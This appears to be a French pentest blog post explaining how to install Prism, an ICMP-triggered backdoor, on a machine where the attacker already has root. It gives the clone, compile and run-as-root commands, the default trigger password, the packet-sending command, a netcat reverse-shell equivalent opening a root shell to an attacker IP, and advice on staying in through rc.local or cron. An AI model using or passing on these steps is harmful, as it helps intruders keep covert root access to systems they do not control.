(Pentest) ICMP Reverse Shell : Prism

To the non-french speaker, note that you can translate the articles using the Google Trad widget situated at the bottom of all pages.


 

Aujourd’hui je vous propose un petit article sur un outil plutôt sympas : Prism. Prism c’est une backdoor qui, lorsqu’elle sera trigger via un paquet ICMP spécialement crafté, renverra un reverse shell à l’attaquant

Concrètement, vous venez d’obtenir les droits root sur une machine. Vous voulez garder la main sur cette machine de la manière la plus discrète possible. Vous allez donc télécharger prism puis l’exécuter.

A partir de maintenant il suffira que depuis votre machine attaquante vous envoyez un paquet ICMP crafté à la machine victime grâce au tool fourni pour qu’un shell root vous soit renvoyé.

Pour télécharger prism il suffira d’utiliser cette commande :

git clone https://github.com/andreafabrizi/prism.git

L’idéal étant de git clone le répo directement sur la machine victime. Ensuite il faudra compiler le fichier prism.c puis l’exécuter avec les droits root sur la machine de la victime en tâche de fond :

gcc prism.c -o prism && ./prism &

1.png

A partir de maintenant prism est en attente du paquet ICMP qui va le trigger.On va donc lancer un netcat sur la machine de l’attaquant qui attendra de recevoir le shell root :

2.png

A l’aide du script sendPacket.py, on va pouvoir forger ce paquet ICMP et l’envoyer à la victime. Pour cela il suffit d’entrer cette commande :

./sendPacket.py 'IP_victime' 'mot_de_passe''IP_attaquant' 'port_a_utiliser'

A savoir que le mot de passe par défaut est p4ssw0rd. Pour ma part je l’ai modifié en « defte ». Du coup pour trigger prism il faudra que j’utilise cette commande :

3.png

Ici l’adresse IP de la victime et de l’attaquant est la même car je fais les tests sur un seul PC. Mais ne vous inquiétez pas, ça fonctionne très bien avec deux machines différents 😀 !

Autrement dit, on demande à prism de renvoyer un shell root à l’IP 192.168.0.27 sur le port 4444. Ce qui revient en fait à faire un :

netcat 192.168.0.27 4444 -e /bin/bash

Du coup si on regarde le shell où on a placé un netcat en écoute, on verra qu’on a bien reçu le reverse shell :

4.png

Reste plus qu’à gagner en persistance en infectant SystemD (via un fichier rc.local) ou via cron pour garder le contrôle sur la machine !

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Google

Vous commentez à l'aide de votre compte Google. Déconnexion /  Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s